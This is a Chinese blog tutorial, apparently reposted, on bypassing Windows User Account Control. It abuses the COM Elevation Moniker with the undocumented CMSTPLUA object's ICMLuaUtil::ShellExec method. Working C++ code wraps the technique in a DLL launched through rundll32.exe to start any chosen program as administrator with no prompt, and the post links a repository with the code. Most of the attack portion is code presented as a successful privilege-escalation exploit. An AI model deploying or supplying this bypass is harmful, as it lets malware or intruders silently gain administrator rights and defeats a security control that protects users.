可以绕过 Windows UAC 吗

  • Post author:
  • Post category:其他



目录


一、引言


二、使用 COM 提升名称方法绕过 UAC


2.1 什么样的 COM 组件支持自动提权


2.2 如何以提升名称方法创建 COM 组件对象


2.3 有了权限提升的 COM 组件对象后,怎么为我们所用呢


2.4 使用 rundll32.exe 执行 COM 提升名称代码


2.4.1 rundll32.exe 简介


2.4.2 使用 rundll32.exe 执行 COM 提升名称代码


2.5 原理总结


三、总结


参考文档




本文中代码仓库地址:



https://gitee.com/langshanglibie/BypassUAC


一、引言

Windows 系统从 Vista 版本开始引入了一种名为 UAC(User Account Control,用户帐户控制)的提高系统安全的核心机制。

在 UAC 机制下,程序在申请管理员权限时,系统会弹出 UAC 提示窗口让用户确认,以达到阻止恶意程序损坏系统的效果。

如果是没有数字签名的程序,提示窗口顶部呈现醒目的黄色。

系统提供了一些让程序可以获取管理员权限的方法,但是都会弹出 UAC 提示窗口让用户确认。

那么,有办法绕过 UAC、不弹出提示窗口而获取管理员权限吗?有,本文介绍的

“COM 提升名称”

就是这样的一种方法。


二、使用 COM 提升名称方法绕过 UAC

通过 COM 提升名称(The COM Elevation Moniker)方法,程序可以以管理员权限创建 COM 组件对象,而不会弹出 UAC 提示窗口


COM 提升名称方法需要 COM 组件和及其使用者的共同配合:


  1. COM


    组件支持自动提权。

  2. COM


    组件使用者必须以提升名称方式创建 COM 组件对象。


2.1


什么样的 COM 组件支持自动提权

如果要支持自动提权,COM 组件需要在注册表中进行一些配置。


需在注册表中进行的配置


注册表位置


1.


配置 displayName



HKEY_LOCAL_MACHINE



\Software\Classes\CLSID


{




CLSID



}



LocalizedString



=



displayName


例如:



HKEY_CLASSES_ROOT



\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}


2.


配置可以提权



HKEY_LOCAL_MACHINE



\Software\Classes\CLSID


{




CLSID



}


Elevation



Enabled



= 1


例如:



HKEY_CLASSES_ROOT



\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\Elevation


3.


配置可以自动提权



HKEY_LOCAL_MACHINE



\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList


2.2


如何以提升名称方法创建 COM 组件对象

下面的代码来自

微软官网文档

,展示了如何以提升名称方法创建权限提升的 COM 组件对象,该对象被创建完成后便拥有管理员权限。



HRESULT



CoCreateInstanceAsAdmin


(



HWND




hwnd



,



REFCLSID




rclsid



,



REFIID




riid



,



__out



void


**



ppv



)


{



BIND_OPTS3




bo



;



WCHAR




wszCLSID



[50];



WCHAR




wszMonikerName



[300];



StringFromGUID2



(



rclsid



,



wszCLSID



,


sizeof


(



wszCLSID



) /


sizeof


(



wszCLSID



[0]));



HRESULT




hr



=



StringCchPrintf



(



wszMonikerName



,


sizeof


(



wszMonikerName



) /


sizeof


(



wszMonikerName



[0]),



L




“Elevation:Administrator!new:%s”




,





wszCLSID





);


if


(



FAILED



(



hr



))


return



hr



;



memset



(&



bo



, 0,


sizeof


(



bo



));



bo



.



cbStruct



=


sizeof


(



bo



);



bo



.



hwnd



=



hwnd



;



bo



.



dwClassContext



=


CLSCTX_LOCAL_SERVER


;


return



CoGetObject



(



wszMonikerName



, &



bo



,



riid



,



ppv



);


}


关键语法:

Elevation:Administrator!new:{guid}


new

关键字表示创建一个 COM 组件的实例,guid 即 COM 组件的 CLSID,

Administrator

表示以管理员权限创建之。


2.3


有了权限提升的 COM 组件对象后,怎么为我们所用呢


要想为我们所用,需要 COM 组件中含有执行命令的方法。

系统中的 COM 组件

cmstplua.dll

正好满足这样的条件,且支持自动提权。

其实现的接口


ICMLuaUtil


中含有


ShellExec


方法。看上去是不是似曾相识?



HRESULT



(



STDMETHODCALLTYPE



*


ShellExec


)(


ICMLuaUtil


*


This


,



LPCWSTR



lpFile


,



LPCTSTR



lpParameters


,



LPCTSTR



lpDirectory


,



ULONG



fMask


,



ULONG



nShowCmd


);

对,这个方法和系统函数


ShellExecute


一样可以用来创建进程,函数签名也几乎一致。多么合乎心意的方法!

目前为止,看上去万事俱备了,只欠把代码写出来了。

于是,创建了个测试程序,一顿敲击之后,主要代码如下:


bool


CMLuaUtilBypassUAC


(



LPCTSTR




szExePath



)


{


// 为简化代码篇幅,省略了错误处理逻辑



CLSID




clsidICMLuaUtil



= {0};



IID




iidICMLuaUtil



= {0};


::



CLSIDFromString



(


CLSID_CMSTPLUA


, &



clsidICMLuaUtil



);


::



IIDFromString



(


IID_ICMLuaUtil


, &



iidICMLuaUtil



);


// 以提升名称方式创建 COM 组件对象,获取其 IID_ICMLuaUtil 接口


ICMLuaUtil


*



pCMLuaUtil



=


nullptr


;


CoCreateInstanceAsAdmin


(


nullptr


,



clsidICMLuaUtil



,



iidICMLuaUtil



, (



PVOID



*)(&



pCMLuaUtil



));


// 启动目标程序



pCMLuaUtil



->


lpVtbl


->


ShellExec


(



pCMLuaUtil



,



szExePath



,


nullptr


,


nullptr


, 0,



SW_SHOW



);



pCMLuaUtil



->


lpVtbl


->


Release


(



pCMLuaUtil



);


}


……


……


// 调用上面函数,欲绕过 UAC 以管理员权限创建目标进程


CMLuaUtilBypassUAC


(L


“C:\\Test.exe”


);

OK,按下 F5,运行!

What? 系统 UAC 弹窗还是蹦了出来。


Why?

这是因为如果执行 COM 提升名称代码的程序的身份是不可信的,还是会触发 UAC 弹窗。只有是系统可信程序,才不会触发 UAC 弹窗。

因此,必须使这段代码在系统可信程序中运行。常用的系统可信程序有记事本、计算器、资源管理器等。

我们可以通过代码注入技术,将这段代码注入到这些程序的进程空间中执行。但是,最简单的莫过于直接通过系统中的

rundll32.exe

程序来加载我们的 DLL,来执行这段代码。


2.4


使用 rundll32.exe 执行 COM 提升名称代码


2.4.1 rundll32.exe


简介

rundll32.exe 是 Windows 中的一个系统程序,顾名思义,就是用来执行 DLL 文件的(实质是执行 DLL 的导出函数)。

rundll32.exe 语法:

rundll32.exe DllName,EntryPoint [Arguments]

DllName 和 EntryPoint 之间用空格或逗号分割。参数含义:


DllName


EntryPoint


Arguments


需要执行的 DLL文件名或全路径


要调用的 DLL 中的导出函数


函数参数(可选)

EntryPoint 函数必须兼容以下函数签名,才能成功被 rundll32.exe 调用。


void



CALLBACK



EntryPoint


(



HWND




hWnd



,



HINSTANCE




hInstance



,



LPCTSTR




lpszCmdLine



,


int



nCmdShow


);


各参数含义如下:


hWnd


rundll32.exe


内部创建的名为“RunDLL”的窗口的句柄。


hInstance


rundll32.exe


进程的句柄。


lpszCmdLine


我们传递的

Arguments

字符串。


nCmdShow


固定为 10,即系统常量 SW_SHOWDEFAULT。


rundll32.exe


使用示例:

  • rundll32.exe shell32.dll,Control_RunDLL (调用控制面板)
  • rundll32.exe shell32.dll,Control_RunDLL timedate.cpl (调用控制面板中的日期和时间功能)
  • rundll32.exe user32.dll,LockWorkStation (锁屏)


2.4.2


使用 rundll32.exe 执行 COM 提升名称代码

要想调用 rundll32.exe,必须将之前的代码封装成一个 DLL,导出一个创建进程的函数给 rundll32.exe 调用。


// 导出函数,给 rundll32.exe 调用。末尾的 W 表示宽字符版本。


void



CALLBACK



BypassUACW


(



HWND




hWnd



,



HINSTANCE




hInstance



,



LPCTSTR




lpszCmdLine



,


int



nCmdShow



)


{


CMLuaUtilBypassUAC


(



lpszCmdLine



);


}

然后在之前的测试程序中,通过 rundll32.exe 来调用


BypassUACW


函数。


void


Rundll32BypassUAC


(



LPCTSTR




szExePath



)


{


static



LPCTSTR




szRundll32Path



=



_T



(


“C:\\Windows\\SysWOW64\\rundll32.exe”


);


const



std



::



wstring



&



dllPath



=


GetCurrentProcessDirPath


() +



_T



(


“BypassUAC.dll”


);


// 组织参数传递给 rundll32.exe



TCHAR




szCmdLine



[



MAX_PATH



] = {0};


::



StringCchPrintf



(



szCmdLine



,



_countof



(



szCmdLine



),



_T



(


“%s \”%s\” %s %s”


),



szRundll32Path



,



dllPath



.



c_str



(),



_T



(


“BypassUAC”


),



szExePath



);


// 启动 rundll32.exe



STARTUPINFO




si



;



PROCESS_INFORMATION




pi



;


::



ZeroMemory



(&



si



,


sizeof


(



si



));



si



.



cb



=


sizeof


(



si



);


::



ZeroMemory



(&



pi



,


sizeof


(



pi



));


if


(::



CreateProcess



(


nullptr


,



szCmdLine



,


nullptr


,


nullptr


,



FALSE



, 0,


nullptr


,


nullptr


, &



si



, &



pi



))


{


::



CloseHandle



(



pi



.



hProcess



);


::



CloseHandle



(



pi



.



hThread



);


}


}


……


……


// 调用上面函数,绕过 UAC 以管理员权限创建目标进程


Rundll32BypassUAC


(L


“C:\\Test.exe”


);

按下 F5,运行!这次,系统 UAC 提示窗口没再弹出来了,我们成功地绕过了 UAC 而获取到了管理员权限。



2.5




原理总结


COM 提升名称方法允许运行在 UAC 下的应用程序,创建权限提升的 COM 组件对象。

同时,系统中的 cmstplua.dll 组件实现的 ICMLuaUtil 接口正好提供了 ShellExec 方法,可以用来创建进程。

因此,我们可以利用 COM 提升名称方法来创建 cmstplua.dll 组件,之后通过其实现的接口 ICMLuaUtil 中的 ShellExec 方法来创建我们的目标进程,如此达到绕过 UAC 而获取到管理员权限的目的。

整个过程如下图所示。



三、总结

通过本文我们可以知道,Windows 系统安全机制并非固若金汤。通过 COM 提升名称方法,程序可以绕过其核心安全机制 UAC 而获取到系统管理员权限。

但需要提醒的是,本文中我们使用的 COM 组件 cmstplua.dll 及其接口 ICMLuaUtil 都是 Undocumented 的,在微软官网文档中查不到任何说明和参考,存在将来被微软修改的可能,所以建议尽量使用系统提供的常规方式获取管理员权限。


参考文档


User Account Control (Windows) | Microsoft Learn


The COM Elevation Moniker – Win32 apps | Microsoft Learn


rundll32 | Microsoft Learn



版权声明:本文为langshanglibie原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。